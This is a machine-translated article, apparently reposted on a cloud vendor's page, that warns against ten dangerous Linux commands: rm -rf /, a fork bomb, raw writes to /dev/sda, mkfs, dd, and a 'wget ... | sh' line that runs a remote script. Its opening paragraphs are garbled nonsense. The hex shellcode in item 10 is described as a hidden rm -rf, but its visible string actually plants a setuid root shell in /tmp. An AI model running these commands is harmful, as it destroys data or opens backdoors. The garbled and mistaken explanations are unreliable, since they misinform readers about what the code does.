10 of the most dangerous commands in Linux

Source: Internet
Author: User
For programmers or Linux administrators, the most common way to operate Linux is to use command lines. Of course, Linux command line? Are there any problems ?? How can I bits in the baking environment? Around the world, I was wondering, why? When about when? The 10 most dangerous commands in Zookeeper Linux

For programmers or Linux system administrators, the most common way to operate a Linux system is to use command lines. Of course, Linux command line? Are there any problems ?? How can I bits in the baking environment? Around the world, I was wondering, why? When about when? Cutting, blowing, and roasting? /P>

Of course, the following commands can be used to make full use of dummies with root permissions. in general user identities, only one acre of land is damaged.

1. rm-rf command

The rm-rf command is one of the fastest ways to delete folders and their contents. A single bit of misjudgment or ignorance may lead to irreparable system breakdown. The following are some options for the rm command.

    The rm command is usually used to delete files in Linux.

    The rm-r command recursively deletes folders or even empty folders. In my opinion, this is a mistake. in common sense, it should be "or even a non-empty folder ")

    The rm-f command can directly delete 'read-only Files' without asking '. In Linux, deleting a file does not care whether the file is read-only, but does not care whether the parent directory has the write permission. Therefore, the-f parameter only means that you do not need to delete and confirm one by one, but will delete it quietly. In addition, the original rm command is not prompted for deletion, but the general release will add the-I parameter to rm through the alias to request deletion confirmation, -f suppresses this prompt .)

    Rm-rf/: force delete all objects in the root directory. (That is to say, after the deletion is completed, nothing else ...)

    Rm-rf *: force delete all files in the current directory.

    Rm-rf.: force delete the current folder and its subfolders.

    From now on, be careful when you want to execute the rm-rf command. We can the bashrc file creates an rm-I alias for the 'RM' command to prevent the accident when the 'RM' command is used to delete the file. it will require you to confirm each deletion request. (Note: Most releases have already done this. if not, please do so and consider what you are doing before using the-f parameter! The translator himself has a tearful lesson .)

    2. :() {:|:&};: Command

    This is an example of a fork bomb. The specific operation is to define a function named ':', which calls itself twice and runs on the background at the front end at one time. It will be executed repeatedly until the system crashes.

    :() {:| :&};:

    Oh? Are you sure you want to try it? Never experiment on the company's official server ~~

    3. Command>/dev/sda

    The preceding command writes the output of a 'command 'to the block device/dev/sda. This operation replaces all data blocks in the block device with the original data written by the command, resulting in data loss of the entire block device.

    4. mv folder/dev/null

    This command moves a 'folder 'to/dev/null. In Linux, the/dev/null or null device is a special file. all data written to it will be cleared, and the write operation is successful. This is a black hole. Of course, it should be noted that, by moving folders to a black hole, the salvation of data recovery software cannot be prevented, you need to use dedicated software or techniques-I know you must have something to delete .)

    # Mv/home/user/*/dev/null

    The upper-column command moves all contents of the User directory to/dev/null, which means that all things are involved in the black hole (null.

    5. wget http: // malicious_source-O-| sh

    The above-listed command will download a script from a (or perhaps) malicious source and execute it. The Wget command will download this script, while sh will (unconditionally) execute the downloaded script.

    Note: always pay attention to the source of your downloaded package or script. Only scripts/programs can be downloaded from trusted sources. So, do you really know what you are doing? If this is necessary, I will first wget it, and then I will read what it actually writes, and then consider whether to execute it .)

    6. mkfs. ext3/dev/sda

    The above Command will format the block device 'sda'. you certainly know that after executing the above command, your block device (hard disk drive) will be formatted, brand new! Without any data, you can directly bring your system to an irrecoverable stage. Generally, devices such as/dev/sda are not directly used. unless used as a raw device, sda must be divided into partitions such as sda1 and sda2 for use. Of course, whether you use sda or sda1, mkfs for block devices or partitions will be destroyed, and the above data will be evaporated .)

    7.> file

    Upper-column commands are often used to clear the file content. Before executing the command, make sure that the output file is empty or does not exist. Otherwise, the original file cannot be recovered. even the data recovery software may not be able to help you. In addition, I think what you might really want to use is ">", that is, to refresh the file rather than refresh the file .). If an incorrect or ignorant input similar to "> xt. conf" is used for execution in the above column, the configuration file or any other system configuration file will be overwritten.

    8. ^ foo ^ bar

    This command is widely known and practical in Linux. However, when you use the foobar command, if you do not thoroughly check the risks of changing the original command, this may cause real trouble. In fact, this kind of trick is, in the opinion of the translator, a few useless and harmful "hacker" skills left behind by prehistoric times .)

    9. dd if =/dev/random of =/dev/sda

    The preceding command writes random junk files to the block device sda to erase data. Of course! Your system may be in a state of chaos and irrecoverability. Do you remember that the music videos cannot be completely deleted from a black hole? So this command is to give you a thorough deletion method! Of course, you can overwrite it multiple times for the sake of insurance .)

    10. hide commands

    The following command is actually the first command above (rm-rf ). The code here is hidden in hexadecimal notation, and an ignorant user may be fooled. Running the following command on the terminal may erase your root partition.

    This command indicates that the real danger is hidden and will not be easily detected. You must always pay attention to what you are doing. Do not compile/run code from unknown sources.

    Char esp [] _ attribute _ (section (". text)/* e. s. prelease */= "\ xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68" "\ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99 "" \ xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7 "\ x56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56" "\ x8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31 "" \ xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ x2f \ x62 \ x69 ″ "\ x6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00" "cp-p/bin/sh/tmp /. beyond; chmod 4755/tmp /. beyond ;";

    Note: do not run any of the above commands on your Linux Terminal or Shell in your classmates or school computer, because this will lead to data loss or system crash. If you want to test them, run them on the VM.


Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.